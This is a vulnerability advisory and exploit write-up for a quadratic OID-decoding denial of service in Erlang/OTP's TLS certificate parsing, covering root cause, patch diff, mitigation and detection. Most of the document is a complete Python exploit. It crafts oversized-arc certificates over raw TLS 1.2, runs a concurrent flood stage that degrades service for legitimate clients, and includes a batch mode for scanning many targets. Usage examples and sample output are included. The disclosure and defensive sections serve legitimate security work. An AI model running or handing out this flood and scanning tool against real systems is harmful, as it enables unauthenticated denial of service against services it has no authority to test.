#Summary
CVE-2026-65634 is a quadratic-complexity denial of service in the Erlang/OTP ASN.1 OBJECT IDENTIFIER decoder. The BER, PER, and JER decoders accumulate base-128 subidentifiers without bounding the number of continuation octets, causing each octet to cost O(n) work on an accumulator that has already accumulated n octets - total O(n^2) per subidentifier. The vulnerable decoder is inlined into the OTP-PUB-KEY module during X.509 compilation, making it reachable from public_key:pkix_decode_cert/2 while a peer certificate is parsed, before any signature or trust-chain check. A single crafted certificate with one very long arc burns roughly 451 milliseconds of CPU on typical hardware, while the benign control takes 0.3 milliseconds - a 1,375x amplification for 130 KB of attacker traffic. Affected versions span Erlang/OTP 17.0 through 27.3.4.17, 28.0 through 28.5.0.6, and 29.0 through 29.1.0 (asn1 3.0 through 5.5.1). CVSS 8.2 HIGH.
#Am I affected?
- Affected: Erlang/OTP 17.0 - 27.3.4.17, 28.0 - 28.5.0.6, 29.0 - 29.1.0 (asn1 3.0 - 5.5.1)
- Patched: Erlang/OTP 27.3.4.18, 28.5.0.7, 29.1.1 (asn1 5.3.4.3, 5.4.3.1, 5.5.2)
- Default configuration: Affected. Any Erlang service that parses a peer TLS certificate is exposed - TLS clients by default (OTP 26 onward), and mutual-TLS servers (
{verify, verify_peer}) - Access needed: Unauthenticated network access. No authentication, no signature verification, no trust chain validation needed. The decode happens before all of those checks.
#How to check
The fastest check is to measure the complexity curve. A crafted OBJECT IDENTIFIER with a single very long arc should burn CPU quadratically: doubling the arc size should multiply the decode time by approximately 4x.
python3 exploit.py --host <target> --measure-onlyAgainst a vulnerable target, expect:
- Benign control (normal OID): ~0.3 ms
- 16 KB arc: ~7 ms
- 32 KB arc: ~25 ms
- 65 KB arc: ~100 ms
- 130 KB arc: ~450 ms
Each doubling of the input should multiply the time by approximately 4x, which proves the quadratic accumulator.
Against a patched target, all sizes return in ~1 ms or less, with no scaling.
The exploit exits with code 0 (vulnerable) or 1 (patched).
#Fix and mitigation
#Upgrade
- Fixed versions: Erlang/OTP 27.3.4.18, 28.5.0.7, 29.1.1 or later
Check your current version:
erl -eval 'erlang:system_info(otp_release), erlang:halt().'#If you cannot upgrade
Set a lower max_handshake_size option on the TLS listener to reject certificates that exceed a known-safe size. The default limit is 131,072 bytes, which allows a 130 KB arc. Lowering this to 32,768 bytes limits the attack to an arc of roughly 16 KB, which burns only 7-8 ms of CPU - manageable but still noticeable under load.
ssl:listen(Port, [
{versions, ['tlsv1.2']},
{verify, verify_peer},
{max_handshake_size, 32768}
]).#Detection
Monitor TLS server logs for repeated Unknown CA alerts (alert code 48) during certificate parsing, particularly with wall times in the hundreds of milliseconds. The Erlang VM will log handshake failed wall=XXXms lines showing unusually high values. CPU usage on TLS handshake processes will spike without corresponding application-layer work.
After patching, watch for certificate_unknown alerts (code 46) and function_clause errors in dec_subidentifiers_1, which indicate an arc exceeded the 16-octet (112-bit) limit.
#Root cause analysis
#Vulnerable code path
The Erlang ASN.1 compiler generates BER, PER, and JER decoders into each module that references an OBJECT IDENTIFIER. These decoders are code-generation templates, not shared runtime libraries - the vulnerable functions are inlined directly into the generated module bytecode.
In the BER decoder (found in every module that contains an OID):
dec_subidentifiers(<<>>,_Av,Al) ->
lists:reverse(Al);
dec_subidentifiers(<<1:1,H:7,T/binary>>,Av,Al) ->
dec_subidentifiers(T,(Av bsl 7) + H,Al);
dec_subidentifiers(<<H,T/binary>>,Av,Al) ->
dec_subidentifiers(T,0,[((Av bsl 7) + H)|Al]).An OBJECT IDENTIFIER is encoded as a sequence of base-128 subidentifiers. Each octet carries 7 bits of value; a high bit of 1 means "more octets follow". The decoder accumulates the value in Av with (Av bsl 7) + H on each continuation byte.
#Why this is quadratic
Erlang integers are arbitrary precision. After k continuation octets, Av is a 7k-bit bignum. The shift operator bsl and the addition + are not constant time on bignums - each allocates and copies a bignum proportional to the accumulator's current width.
Summing the costs:
- Octet 1: O(1) work, bignum grows to 7 bits
- Octet 2: O(1) work, bignum grows to 14 bits
- ...
- Octet k: O(k) work, bignum is k*7 bits
Total work summing k=1 to n: O(1) + O(2) + ... + O(n) = O(n^2) machine-word copies plus n short-lived allocations averaging n/2 words each, which drives heavy garbage collection.
The attacker pays n bytes of network traffic. The target pays n^2 CPU work.
#How input reaches the sink
The inlined decoder is called during X.509 certificate parsing:
ssl_handshake:certify/9
-> path_validate/9
-> public_key:pkix_path_validation/3
-> combined_cert/1
-> public_key:pkix_decode_cert(Der, otp)
-> OTP-PUB-KEY:dec_OTPTBSCertificate/2
-> decode_object_identifier/2
-> dec_subidentifiers/3This decode happens inside path validation, before any signature or trust-chain verification. An attacker does not need a valid key, a valid signature, or a certificate signed by a trusted CA. Under TLS 1.2, the client Certificate message travels in the clear before ChangeCipherSpec, so no encryption key is needed either.
Any Erlang TLS client (which parses the server certificate by default) or any TLS server configured for mutual TLS ({verify, verify_peer}) is vulnerable.
#Patch diff
The fix adds a per-subidentifier octet counter and rejects any arc with more than 16 continuation octets (112 bits total), which is sufficient for all legitimate OID uses:
-dec_subidentifiers(<<>>,_Av,Al) ->
- lists:reverse(Al);
-dec_subidentifiers(<<1:1,H:7,T/binary>>,Av,Al) ->
- dec_subidentifiers(T,(Av bsl 7) + H,Al);
-dec_subidentifiers(<<H,T/binary>>,Av,Al) ->
- dec_subidentifiers(T,0,[((Av bsl 7) + H)|Al]).
+dec_subidentifiers(<<Octets/binary>>) ->
+ dec_subidentifiers_1(Octets, 0, 0).
+
+dec_subidentifiers_1(<<1:1, H:7, T/binary>>, N, Av0) when N < 16 ->
+ Av = (Av0 bsl 7) bor H,
+ dec_subidentifiers_1(T, N + 1, Av);
+dec_subidentifiers_1(<<H, T/binary>>, N, Av0) when N < 16 ->
+ Av = (Av0 bsl 7) bor H,
+ [Av | dec_subidentifiers_1(T, 0, 0)];
+dec_subidentifiers_1(<<>>, _N, _Av) ->
+ [].The key change is the N < 16 guard on both match clauses. Once N reaches 16, no clause matches and a function_clause exception is raised. The certificate decode then fails cleanly with alert 46 certificate_unknown, and processing stops before burning any CPU.
The same cap is applied to the PER and JER decoders in the same commit.
#Proof of concept
#exploit.py - Erlang/OTP Quadratic OID DoS PoC
#!/usr/bin/env python3
"""
CVE-2026-65634 - Erlang/OTP ASN.1 OBJECT IDENTIFIER decoder quadratic-complexity DoS
Affected: Erlang/OTP 17.0 through 27.3.4.17, 28.0 through 28.5.0.6, 29.0 through 29.1.0
(asn1 3.0 through 5.5.1). Fixed in 27.3.4.18 / 28.5.0.7 / 29.1.1.
Type: DoS (CWE-407, inefficient algorithmic complexity), remote, pre-authentication
The BER OBJECT IDENTIFIER decoder accumulates each base-128 subidentifier with
(Av bsl 7) + H and never bounds the number of continuation octets. Erlang integers
are arbitrary precision, so the accumulator becomes a bignum that is reallocated and
copied on every octet: n octets cost O(n^2) work for n bytes of attacker traffic.
That decoder is generated into OTP-PUB-KEY, so it runs inside
public_key:pkix_decode_cert/2 while a peer certificate is parsed - before any
signature or trust-chain check. Any Erlang service that parses a peer certificate is
reachable: TLS clients by default, and TLS servers configured for mutual TLS.
This exploit speaks raw TLS 1.2 (the client Certificate message is in the clear,
unlike TLS 1.3) and sends a self-built certificate whose issuer RDN attribute type is
a structurally valid OID holding one very long arc. No crypto library and no valid
key are needed: the burn happens during the decode, before anything is verified.
Usage:
python exploit.py --host <target>
python exploit.py --host 192.168.1.10 --port 4433
python exploit.py --host mtls.corp.com:8883 --duration 20 --connections 8
python exploit.py --host 192.168.1.10 --measure-only
python exploit.py --list targets.txt --workers 20
"""
import argparse
import os
import random
import socket
import struct
import sys
import threading
import time
from urllib.parse import urlparse
CVE_ID = "CVE-2026-65634"
VULN_TYPE = "DoS"
# A TLS handshake message may not exceed DEFAULT_MAX_HANDSHAKE_SIZE ((256*1024) div 2)
# in OTP's ssl. The Certificate message spends 3 bytes on the chain length and 3 on the
# per-certificate length, so the certificate itself must stay at or below this. Go over
# and the server answers alert 40 in a millisecond, before the decoder is reached, which
# looks exactly like a patched target and is not one.
MAX_CERT_BYTES = 131066
ALERTS = {
20: "bad_record_mac", 40: "handshake_failure", 42: "bad_certificate",
43: "unsupported_certificate", 44: "certificate_revoked",
45: "certificate_expired", 46: "certificate_unknown", 47: "illegal_parameter",
48: "unknown_ca", 49: "access_denied", 50: "decode_error",
51: "decrypt_error", 70: "protocol_version", 80: "internal_error",
}
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------- DER encoding
# Just enough X.509 to build a certificate by hand. Nothing here needs to be
# cryptographically sound: the target decodes the structure long before it would
# check a signature, which is the whole point of the bug.
def _der_len(n: int) -> bytes:
if n < 0x80:
return bytes([n])
b = n.to_bytes((n.bit_length() + 7) // 8, "big")
return bytes([0x80 | len(b)]) + b
def _tlv(tag: int, content: bytes) -> bytes:
return bytes([tag]) + _der_len(len(content)) + content
def _der_int(n: int) -> bytes:
b = n.to_bytes((n.bit_length() + 7) // 8 or 1, "big")
if b[0] & 0x80:
b = b"\x00" + b
return _tlv(0x02, b)
def _oid(body: bytes) -> bytes:
return _tlv(0x06, body)
def _alg_id(oid_body: bytes) -> bytes:
return _tlv(0x30, _oid(oid_body) + _tlv(0x05, b""))
def _rdn(type_body: bytes, value: bytes) -> bytes:
# SET { SEQUENCE { AttributeType, AttributeValue } }
return _tlv(0x31, _tlv(0x30, _oid(type_body) + _tlv(0x13, value)))
OID_SHA256_RSA = bytes.fromhex("2a864886f70d01010b") # 1.2.840.113549.1.1.11
OID_RSA_ENC = bytes.fromhex("2a864886f70d010101") # 1.2.840.113549.1.1.1
OID_COMMONNAME = bytes.fromhex("550403") # 2.5.4.3
def overlong_oid(cont_octets: int) -> bytes:
"""OID value octets for 1.2.<one arc spanning cont_octets continuation bytes>.
X.690 8.19 encodes each subidentifier base-128 big-endian, high bit set on every
octet but the last. The first continuation octet is 0x81 rather than 0x80 so the
component carries no leading zero bits, which is what DER requires: the input has
to be a well-formed OID or the finding would just be a malformed-input bug.
The values do not matter for cost. The accumulator's width is set by bit position,
so a run of 0x80 grows the bignum exactly as fast as a run of 0xFF.
"""
if cont_octets <= 0:
return OID_COMMONNAME
return b"\x2a\x81" + b"\x80" * (cont_octets - 1) + b"\x01"
def build_certificate(cont_octets: int) -> bytes:
"""A syntactically valid v3 X.509 certificate carrying the crafted OID.
The long arc goes in the issuer RDN's attribute type. Of the placements that
reach the decoder, that one leaves a certificate that still decodes cleanly, so
the handshake proceeds to the trust check instead of dying on a decode error
and the CPU is burned in full.
"""
label = ("%08x" % random.getrandbits(32)).encode()
version = _tlv(0xA0, _der_int(2))
serial = _der_int(random.getrandbits(63) | 1)
sig_alg = _alg_id(OID_SHA256_RSA)
issuer = _tlv(0x30, _rdn(overlong_oid(cont_octets), label))
validity = _tlv(0x30, _tlv(0x17, b"250101000000Z") + _tlv(0x17, b"351231235959Z"))
subject = _tlv(0x30, _rdn(OID_COMMONNAME, label))
modulus = random.getrandbits(2048) | (1 << 2047) | 1
rsa_pub = _tlv(0x30, _der_int(modulus) + _der_int(65537))
spki = _tlv(0x30, _alg_id(OID_RSA_ENC) + _tlv(0x03, b"\x00" + rsa_pub))
tbs = _tlv(0x30, version + serial + sig_alg + issuer + validity + subject + spki)
signature = _tlv(0x03, b"\x00" + os.urandom(256))
return _tlv(0x30, tbs + sig_alg + signature)
def max_cont_octets() -> int:
"""Largest arc that still fits under the peer's handshake-size ceiling."""
overhead = len(build_certificate(1)) - 1
return MAX_CERT_BYTES - overhead
# ---------------------------------------------------------------- TLS 1.2 wire
CIPHER_SUITES = [0xC02F, 0xC030, 0xC027, 0xC013, 0xC02B, 0xC02C, 0x009C, 0x002F]
def client_hello() -> bytes:
"""TLS 1.2 ClientHello.
supported_versions is deliberately absent so the peer settles on TLS 1.2, where
the client Certificate message still travels in the clear. Under TLS 1.3 it is
encrypted and delivering a crafted certificate would mean implementing the 1.3
key schedule first.
"""
groups = b"".join(struct.pack(">H", g) for g in (0x0017, 0x0018, 0x0019, 0x001D))
sigs = b"".join(struct.pack(">H", s) for s in
(0x0401, 0x0501, 0x0601, 0x0403, 0x0503, 0x0804, 0x0201))
ext = b""
ext += struct.pack(">HH", 0x000A, len(groups) + 2) + struct.pack(">H", len(groups)) + groups
ext += struct.pack(">HH", 0x000B, 2) + b"\x01\x00"
ext += struct.pack(">HH", 0x000D, len(sigs) + 2) + struct.pack(">H", len(sigs)) + sigs
suites = b"".join(struct.pack(">H", s) for s in CIPHER_SUITES)
body = b"\x03\x03" + os.urandom(32) + b"\x00"
body += struct.pack(">H", len(suites)) + suites
body += b"\x01\x00"
body += struct.pack(">H", len(ext)) + ext
hs = b"\x01" + len(body).to_bytes(3, "big") + body
return b"\x16\x03\x01" + struct.pack(">H", len(hs)) + hs
def certificate_message(cert_der: bytes) -> bytes:
"""Client Certificate message, fragmented to fit the 16384-byte record limit.
A handshake message is allowed to span records, so the crafted certificate is
simply split across as many 0x16 records as it needs.
"""
chain = len(cert_der).to_bytes(3, "big") + cert_der
body = len(chain).to_bytes(3, "big") + chain
hs = b"\x0b" + len(body).to_bytes(3, "big") + body
out = b""
for i in range(0, len(hs), 16384):
chunk = hs[i:i + 16384]
out += b"\x16\x03\x03" + struct.pack(">H", len(chunk)) + chunk
return out
def _read_records(sock):
"""Yield (content_type, payload) for each TLS record until the peer goes away."""
buf = b""
while True:
while len(buf) < 5:
chunk = sock.recv(65535)
if not chunk:
return
buf += chunk
rlen = struct.unpack(">H", buf[3:5])[0]
while len(buf) < 5 + rlen:
chunk = sock.recv(65535)
if not chunk:
return
buf += chunk
yield buf[0], buf[5:5 + rlen]
buf = buf[5 + rlen:]
def _await_server_flight(sock) -> str:
"""Drive the handshake to ServerHelloDone. Returns "" on success, else a reason.
Handshake messages are reassembled on their own 4-byte length header, not on
record boundaries: servers freely coalesce the whole flight into one record or
split a single message across several.
"""
pending = b""
for ctype, payload in _read_records(sock):
if ctype == 21:
code = payload[1] if len(payload) > 1 else -1
return "alert %d %s during server flight" % (code, ALERTS.get(code, "?"))
if ctype != 22:
continue
pending += payload
while len(pending) >= 4:
mlen = int.from_bytes(pending[1:4], "big")
if len(pending) < 4 + mlen:
break
msg_type = pending[0]
pending = pending[4 + mlen:]
if msg_type == 14: # ServerHelloDone
return ""
return "connection closed before ServerHelloDone"
def _describe_reply(reply: bytes) -> tuple:
"""(alert_code, human string) for whatever the peer sent back."""
if not reply:
return None, "connection closed with no reply"
if reply[0] == 21 and len(reply) >= 7:
code = reply[6]
return code, "alert %d %s" % (code, ALERTS.get(code, "?"))
return None, "non-alert reply %r" % reply[:16]
def handshake_latency(host: str, port: int, timeout: float = 30.0):
"""Milliseconds from ClientHello to ServerHelloDone, or None if unreachable.
This is the liveness probe. It deliberately requires a real protocol response:
a published port completes a TCP connect whether or not the service behind it
is still able to do any work, so a bare connect cannot be trusted here.
"""
t0 = time.monotonic()
try:
sock = socket.create_connection((host, port), timeout=timeout)
except OSError:
return None
try:
sock.settimeout(timeout)
sock.sendall(client_hello())
if _await_server_flight(sock):
return None
return (time.monotonic() - t0) * 1000.0
except OSError:
return None
finally:
sock.close()
def burn(host: str, port: int, cont_octets: int, timeout: float = 60.0) -> dict:
"""One handshake carrying a crafted certificate.
Returns the wall time the peer spent between receiving the Certificate message
and answering, which for a vulnerable target is dominated by the OID decode.
"""
cert = build_certificate(cont_octets)
out = {"cont": cont_octets, "cert_bytes": len(cert), "ms": None,
"alert": None, "detail": ""}
try:
sock = socket.create_connection((host, port), timeout=timeout)
except OSError as exc:
out["detail"] = "unreachable (%s)" % exc.__class__.__name__
return out
try:
sock.settimeout(timeout)
sock.sendall(client_hello())
reason = _await_server_flight(sock)
if reason:
out["detail"] = reason
return out
msg = certificate_message(cert)
t0 = time.monotonic()
sock.sendall(msg)
try:
reply = sock.recv(4096)
except socket.timeout:
out["ms"] = (time.monotonic() - t0) * 1000.0
out["detail"] = "no reply within %.0fs (peer still busy)" % timeout
return out
out["ms"] = (time.monotonic() - t0) * 1000.0
out["alert"], out["detail"] = _describe_reply(reply)
return out
except OSError as exc:
out["detail"] = "%s during exchange" % exc.__class__.__name__
return out
finally:
sock.close()
# ------------------------------------------------------------------ scan mode
def _try_exploit(host: str, port: int, use_tls: bool = True, **kwargs) -> tuple:
"""Silent probe for --list. Returns (success, evidence). Never prints or exits."""
try:
control = burn(host, port, 0, timeout=20.0)
if control["ms"] is None:
return False, control["detail"] or "no response to control certificate"
payload = burn(host, port, min(65536, max_cont_octets()), timeout=60.0)
if payload["ms"] is None:
return False, payload["detail"] or "no response to crafted certificate"
base = max(control["ms"], 0.05)
ratio = payload["ms"] / base
if payload["alert"] == 40:
return False, "handshake-size limit hit (alert 40) - lower the arc size"
if payload["ms"] >= 25.0 and ratio >= 10.0:
return True, ("%.1fms for a %d-byte certificate vs %.1fms control (%.0fx)"
% (payload["ms"], payload["cert_bytes"], control["ms"], ratio))
return False, ("flat decode cost %.1fms vs %.1fms control (%.1fx) - %s"
% (payload["ms"], control["ms"], ratio, payload["detail"]))
except Exception as exc:
return False, "unreachable (%s)" % exc.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""Parse one line into (host, port, use_tls, path). Returns None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, True, default_path
except ValueError:
pass
return line, default_port, True, default_path
def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, _path = t
ok, evidence = _try_exploit(host, port, use_tls)
return "%s:%d" % (host, port), ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %-28s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable",
evidence))
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ------------------------------------------------------------------- exploit
def measure_curve(host: str, port: int, sizes: list) -> list:
rows = []
for n in sizes:
r = burn(host, port, n)
rows.append(r)
ms = "-" if r["ms"] is None else "%.1f" % r["ms"]
print(" %-14d %-14d %-10s %s" % (r["cont"], r["cert_bytes"], ms, r["detail"]))
return rows
def benign_window(host: str, port: int, seconds: float) -> dict:
"""Hammer the peer with benign handshakes for a window and report what it served.
Throughput is the measurement that matters here, not latency. BEAM preempts at
reduction boundaries, so a saturated scheduler still slips a cheap handshake
through quickly - what collapses is how many it can serve per second.
"""
lat, refused = [], 0
deadline = time.monotonic() + seconds
while time.monotonic() < deadline:
ms = handshake_latency(host, port, timeout=30.0)
if ms is None:
refused += 1
else:
lat.append(ms)
n = len(lat)
return {"tps": n / seconds, "count": n, "refused": refused,
"median": sorted(lat)[n // 2] if n else None,
"worst": max(lat) if n else None}
def flood(host: str, port: int, cont_octets: int, connections: int, duration: float) -> dict:
"""Saturate the peer with concurrent crafted handshakes, and measure what a
legitimate client can still get out of it while that runs.
One slow handshake is a slow handshake. Denial of service is the claim that other
clients cannot get served, so the load has to run concurrently with benign traffic
and the benign side is where the evidence comes from.
"""
stop = threading.Event()
stats = {"bursts": 0, "errors": 0}
lock = threading.Lock()
def worker():
while not stop.is_set():
r = burn(host, port, cont_octets, timeout=60.0)
with lock:
if r["ms"] is None:
stats["errors"] += 1
else:
stats["bursts"] += 1
threads = [threading.Thread(target=worker, daemon=True) for _ in range(connections)]
for t in threads:
t.start()
time.sleep(1.5) # let every connection reach the decode
stats["benign"] = benign_window(host, port, duration)
stop.set()
for t in threads:
t.join(timeout=70.0)
return stats
def exploit(host: str, port: int, use_tls: bool, args) -> None:
header(host, port)
ceiling = max_cont_octets()
size = min(args.size, ceiling)
step(1, "Baseline: what the target serves when nobody is attacking it")
if handshake_latency(host, port) is None:
done(False, "no TLS 1.2 server flight from %s:%d - target unreachable or not TLS 1.2"
% (host, port))
base = benign_window(host, port, 3.0)
if not base["count"]:
done(False, "target completed no benign handshakes at baseline")
print(" %.1f benign handshakes/s, %.1f ms median\n" % (base["tps"], base["median"]))
step(2, "Control: certificate with a normal commonName OID")
control = burn(host, port, 0)
if control["ms"] is None:
done(False, "control certificate got no response: %s" % control["detail"])
print(" %d-byte certificate -> %.1f ms, %s" % (control["cert_bytes"], control["ms"],
control["detail"]))
if control["ms"] > 50.0:
print(" NOTE: control is already slow; something other than the decoder may dominate.\n")
else:
print()
step(3, "Complexity curve: one arc, doubling the continuation octets each time")
print(" %-14s %-14s %-10s %s" % ("cont_octets", "cert_bytes", "ms", "server reply"))
sizes = sorted(set(n for n in (16384, 32768, 65536, size) if n <= ceiling))
rows = measure_curve(host, port, sizes)
print()
good = [r for r in rows if r["ms"] is not None]
if not good:
done(False, "no timed response to any crafted certificate: %s" % rows[-1]["detail"])
if any(r["alert"] == 40 for r in rows):
done(False, "peer answered alert 40 handshake_failure - the certificate exceeded its "
"max_handshake_size, so lower --size rather than reading this as patched")
ratios = []
for prev, cur in zip(good, good[1:]):
if prev["ms"] > 0:
ratios.append((prev["cont"], cur["cont"],
cur["cont"] / prev["cont"], cur["ms"] / prev["ms"]))
curve = "\n".join(" %6d -> %6d octets (%.2fx input): %.2fx time"
% (a, b, ri, rt) for a, b, ri, rt in ratios)
biggest = good[-1]
amplification = biggest["ms"] / max(control["ms"], 0.001)
curve += ("\n\n %d-byte certificate burns %.1f ms of peer CPU; the %d-byte control burns "
"%.1f ms (%.0fx)" % (biggest["cert_bytes"], biggest["ms"],
control["cert_bytes"], control["ms"], amplification))
curve += ("\n amplification: %.2f CPU-seconds burned per MB of certificate uploaded"
% (biggest["ms"] / 1000.0 / (biggest["cert_bytes"] / 1048576.0)))
doubling = [rt for a, b, ri, rt in ratios if 1.8 <= ri <= 2.2]
mean_doubling = sum(doubling) / len(doubling) if doubling else 0.0
quadratic = mean_doubling >= 2.5
if quadratic:
curve += ("\n doubling the input multiplies the time by %.1f, which is the quadratic "
"accumulator, not merely a slow parse" % mean_doubling)
else:
curve += ("\n doubling the input multiplies the time by %.1f, so the cost is not "
"growing with the length of the arc" % mean_doubling)
section("COMPLEXITY CURVE", curve)
expensive = biggest["ms"] >= 25.0 and amplification >= 10.0
if not (quadratic and expensive):
section("SERVER RESPONSE", "%s (%.1f ms for %d bytes)"
% (biggest["detail"], biggest["ms"], biggest["cert_bytes"]))
done(False, "decode cost stayed flat (%.1f ms for a %d-byte certificate, %.1fx the "
"control, %.1fx per doubling) - the continuation-octet cap is in place, "
"target is patched"
% (biggest["ms"], biggest["cert_bytes"], amplification, mean_doubling))
core = ("quadratic OID decode confirmed - %.1f ms of peer CPU for a %d-byte certificate "
"vs %.1f ms control (%.0fx), %.1fx time per doubling of input"
% (biggest["ms"], biggest["cert_bytes"], control["ms"], amplification, mean_doubling))
if args.measure_only:
done(True, core + "; peer answered %s" % biggest["detail"])
step(4, "Denial of service: %d concurrent crafted handshakes for %.0fs, while a legitimate "
"client keeps trying to connect" % (args.connections, args.duration))
fl = flood(host, port, size, args.connections, args.duration)
load = fl["benign"]
print(" %d crafted handshakes delivered, %d errored\n" % (fl["bursts"], fl["errors"]))
served = 100.0 * load["tps"] / base["tps"] if base["tps"] else 0.0
impact = ["benign service, idle vs under attack:",
" idle : %6.1f handshakes/s, %7.1f ms median"
% (base["tps"], base["median"]),
" under attack: %6.1f handshakes/s, %7.1f ms median, %.1f ms worst"
% (load["tps"], load["median"] if load["median"] else -1,
load["worst"] if load["worst"] else -1),
"",
" legitimate clients get %.0f%% of normal capacity" % served,
" handshakes refused or timed out under attack: %d" % load["refused"],
"",
" cost to the attacker: %d handshakes x %d bytes = %.1f MB uploaded over %.0fs"
% (fl["bursts"], biggest["cert_bytes"],
fl["bursts"] * biggest["cert_bytes"] / 1048576.0, args.duration)]
section("SERVICE IMPACT", "\n".join(impact))
step(5, "Recovery: benign service after the attack stops")
t0 = time.monotonic()
recovered = None
while time.monotonic() - t0 < 60.0:
ms = handshake_latency(host, port, timeout=30.0)
if ms is not None and ms <= max(base["median"] * 3.0, base["median"] + 5.0):
recovered = (time.monotonic() - t0) * 1000.0
break
time.sleep(0.25)
if recovered is None:
section("RECOVERY", "benign handshakes were still degraded 60s after the attack stopped")
else:
section("RECOVERY", "benign service returned to its %.1f ms baseline %.0f ms after the "
"attack stopped, so the outage lasts exactly as long as the attacker "
"keeps sending - no restart needed, and nothing is left behind"
% (base["median"], recovered))
degraded = served <= 50.0 or load["refused"] > 0
if degraded:
verdict = (core + "; %d concurrent handshakes cut legitimate capacity to %.0f%% of "
"normal (%.1f -> %.1f handshakes/s)"
% (args.connections, served, base["tps"], load["tps"]))
else:
verdict = (core + "; %d concurrent handshakes left %.0f%% of capacity, so the peer has "
"schedulers to spare - raise --connections"
% (args.connections, served))
done(True, verdict)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, host:port, or full URL")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=4433, help="Default TLS port (default: 4433)")
parser.add_argument("--size", type=int, default=130000,
help="Continuation octets in the crafted arc; clamped to the peer's "
"handshake-size ceiling (default: 130000)")
parser.add_argument("--connections", type=int, default=16,
help="Concurrent crafted handshakes in the flood stage (default: 16)")
parser.add_argument("--duration", type=float, default=10.0,
help="Seconds to sustain the flood stage (default: 10)")
parser.add_argument("--measure-only", action="store_true",
help="Measure the complexity curve and stop, without the flood stage")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
# The target of this CVE is always a raw TLS listener, so there is no plaintext
# variant to select. These are accepted for interface consistency.
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS (default; the target is always TLS)")
tls_grp.add_argument("--no-tls", action="store_true", help=argparse.SUPPRESS)
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, True, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args)#Usage
python3 exploit.py --host 127.0.0.1 --port 4433
python3 exploit.py --host mtls.example.com --measure-only
python3 exploit.py --host 192.0.2.10 --size 65536 --connections 32 --duration 15
python3 exploit.py --list targets.txt --workers 20#Arguments
| Argument | Default | Meaning |
|---|---|---|
--host |
required | Target as hostname, IP, host:port, or URL |
--list FILE |
- | One target per line for batch scan; # comments and blank lines skipped |
--port |
4433 | Default TLS port when the target does not carry one |
--size |
130000 | Continuation octets in the crafted arc; auto-clamped to handshake-size ceiling |
--connections |
16 | Concurrent crafted handshakes during the service-impact stage |
--duration |
10 | Seconds to sustain the service-impact stage |
--measure-only |
off | Measure complexity curve only, without generating sustained load |
--workers |
10 | Threads for --list mode |
Exit code: 0 when vulnerable, 1 when patched or unreachable.
#Example Output (Vulnerable Target)
[STEP 3] Complexity curve: one arc, doubling the continuation octets each time
cont_octets cert_bytes ms server reply
16384 17073 6.7 alert 48 unknown_ca
32768 33457 24.9 alert 48 unknown_ca
65536 66231 103.8 alert 48 unknown_ca
130000 130695 451.3 alert 48 unknown_ca
--- COMPLEXITY CURVE ---
16384 -> 32768 octets (2.00x input): 3.70x time
32768 -> 65536 octets (2.00x input): 4.17x time
65536 -> 130000 octets (1.98x input): 4.35x time
130695-byte certificate burns 451.3 ms of peer CPU; the 682-byte control burns 0.3 ms (1375x)
amplification: 3.62 CPU-seconds burned per MB of certificate uploaded
doubling the input multiplies the time by 4.1, which is the quadratic accumulator
---#Example Output (Patched Target)
[STEP 3] Complexity curve: one arc, doubling the continuation octets each time
cont_octets cert_bytes ms server reply
16384 17073 1.6 alert 46 certificate_unknown
32768 33457 0.9 alert 46 certificate_unknown
65536 66231 1.7 alert 46 certificate_unknown
130000 130695 1.4 alert 46 certificate_unknown
--- COMPLEXITY CURVE ---
130695-byte certificate burns 1.4 ms of peer CPU; the 682-byte control burns 0.3 ms (4x)
amplification: 0.01 CPU-seconds burned per MB of certificate uploaded
doubling the input multiplies the time by 1.1, so the cost is not growing
RESULT : FAILURE
EVIDENCE: decode cost stayed flat - the continuation-octet cap is in place, target is patched#Exploitation notes
#Preconditions
- The target must actually parse a peer certificate. For a TLS client, this is the default behavior (OTP 26+). For a TLS server, this requires mutual TLS configuration (
{verify, verify_peer}). - The target must negotiate TLS 1.2. Under TLS 1.3, the client Certificate message is encrypted and delivering the payload requires implementing the 1.3 key schedule.
